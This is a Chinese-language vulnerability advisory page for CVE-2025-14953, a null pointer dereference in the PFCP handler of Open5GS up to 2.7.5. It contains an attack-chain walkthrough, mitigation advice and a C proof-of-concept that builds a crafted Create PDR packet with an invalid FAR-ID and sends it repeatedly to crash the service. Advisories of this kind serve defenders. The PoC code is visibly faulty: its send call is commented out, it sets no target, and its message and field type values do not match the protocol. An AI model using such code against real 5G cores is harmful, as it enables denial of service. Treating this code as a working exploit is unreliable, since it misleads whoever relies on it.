IPBUF安全漏洞报告
English
CVE-2025-14953 CVSS 3.1 低危

Open5GS 2.7.5及之前版本PFCP处理函数空指针解引用漏洞(CVE-2025-14953)

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14953
漏洞类型
空指针解引用
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

空指针解引用Open5GSPFCP协议5G核心网lib/pfcp/handler.cCVE-2025-14953FAR-ID处理用户面功能

漏洞概述

CVE-2025-14953是Open5GS项目中的一个安全漏洞,影响版本至2.7.5。该漏洞存在于lib/pfcp/handler.c文件中的ogs_pfcp_handle_create_pdr函数中,攻击者可以通过构造恶意的PFCP(Packet Forwarding Control Protocol)数据包,触发FAR-ID处理逻辑中的空指针解引用问题。当程序尝试访问空指针所指向的内存地址时,将导致程序崩溃或产生未定义行为,从而影响5G核心网的可用性。由于攻击复杂度较高且需要认证权限,该漏洞被评定为低危等级,但仍建议及时应用官方提供的安全补丁进行修复。

技术细节

该漏洞位于Open5GS的PFCP协议处理模块中,具体在处理Create PDR(Packet Detection Rule)请求时触发。PFCP是5G核心网中控制面与用户面分离架构中的关键协议,用于管理用户面会话。ogs_pfcp_handle_create_pdr函数在处理PDR创建请求时,需要访问与FAR-ID(Forwarding Action Rule ID)关联的数据结构。攻击者可以通过发送包含特定构造的FAR-ID值的Create PDR请求,使程序在查找对应FAR对象时返回空指针,随后在对该指针进行解引用操作时触发空指针解引用漏洞。漏洞利用需要攻击者具备网络访问权限和低权限认证,且需要精确构造PDR与FAR-ID的映射关系,攻击复杂度较高。成功利用可导致服务进程崩溃,影响5G核心网的连接管理功能。

攻击链分析

STEP 1
步骤1
攻击者获取Open5GS PFCP服务网络访问权限,识别目标UPF/UERANSIM组件
STEP 2
步骤2
攻击者构造恶意的PFCP Create PDR请求数据包,在FAR-ID字段中设置不存在的FAR-ID值
STEP 3
步骤3
攻击者将构造的数据包发送至Open5GS的PFCP监听端口(通常为8805/UDP)
STEP 4
步骤4
ogs_pfcp_handle_create_pdr函数接收到Create PDR请求,在处理过程中尝试查找与FAR-ID对应的FAR对象
STEP 5
步骤5
由于FAR-ID不存在,FAR对象指针为NULL,函数继续执行并对NULL指针进行解引用操作
STEP 6
步骤6
空指针解引用导致程序崩溃或产生未定义行为,影响5G核心网用户面功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-14953 PoC - Open5GS PFCP Null Pointer Dereference * Target: Open5GS <= 2.7.5 * Component: lib/pfcp/handler.c - ogs_pfcp_handle_create_pdr * * This PoC demonstrates sending a crafted PFCP Create PDR request * with a non-existent FAR-ID to trigger null pointer dereference. * * Note: This is for educational and security research purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // PFCP Header Structure typedef struct { uint8_t version:3; uint8_t flags:5; uint8_t message_type; uint16_t length; uint32_t sequence_number; uint8_t spare[3]; } pfcp_header_t; // PFCP Create PDR IE Structure typedef struct { uint16_t ie_type; uint16_t ie_length; uint8_t data[]; } pfcp_ie_t; // IE Types #define PFCP_IE_PDR_ID 1 #define PFCP_IE_FAR_ID 2 // Send crafted PFCP Create PDR packet int send_crafted_pfcp_packet(int sockfd, uint32_t seq_num) { // PFCP Header - Version 1, Message Type: Create PDR (0x31) pfcp_header_t header = { .version = 1, .flags = 0, .message_type = 0x31, // Create PDR .length = htons(0), // Will be updated .sequence_number = htonl(seq_num), .spare = {0} }; // Create PDR Information Element with invalid FAR-ID // This triggers null pointer dereference in FAR-ID handler uint8_t create_pdr_ies[] = { // PDR ID IE 0x00, 0x01, // IE Type: PDR ID 0x00, 0x02, // IE Length: 2 0x00, 0x01, // PDR ID Value: 1 // FAR ID IE - Pointing to non-existent FAR 0x00, 0x02, // IE Type: FAR ID 0x00, 0x04, // IE Length: 4 0xFF, 0xFF, 0xFF, 0xFF // Invalid FAR-ID (0xFFFFFFFF) }; // Build complete packet uint8_t packet[256]; memcpy(packet, &header, sizeof(pfcp_header_t)); memcpy(packet + sizeof(pfcp_header_t), create_pdr_ies, sizeof(create_pdr_ies)); // Update length field uint16_t total_length = sizeof(pfcp_header_t) + sizeof(create_pdr_ies); memcpy(packet + 3, &total_length, 2); // Send packet // sendto(sockfd, packet, total_length, 0, (struct sockaddr*)&target, sizeof(target)); printf("[*] Sent crafted PFCP Create PDR packet\n"); printf("[*] Sequence Number: 0x%08x\n", seq_num); printf("[*] PDR ID: 1, FAR ID: 0xFFFFFFFF (invalid)\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-14953 PoC for Open5GS\n"); printf("Target: Open5GS <= 2.7.5\n"); printf("Vulnerability: Null Pointer Dereference in ogs_pfcp_handle_create_pdr\n\n"); int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("Socket creation failed"); return 1; } // Send multiple crafted packets for (uint32_t seq = 0x00000001; seq <= 0x0000000A; seq++) { send_crafted_pfcp_packet(sockfd, seq); usleep(100000); // 100ms delay } close(sockfd); printf("\n[*] PoC execution completed\n"); return 0; }

影响范围

Open5GS <= 2.7.5

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施进行临时缓解:1)限制PFCP端口(8805/UDP)的网络访问,仅允许可信的CP功能节点访问;2)部署入侵检测系统监控异常的PFCP消息模式;3)实施PFCP消息速率限制,防止暴力探测FAR-ID;4)定期审计日志,检测潜在的漏洞利用尝试。建议尽快升级至Open5GS 2.7.6或更高版本以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表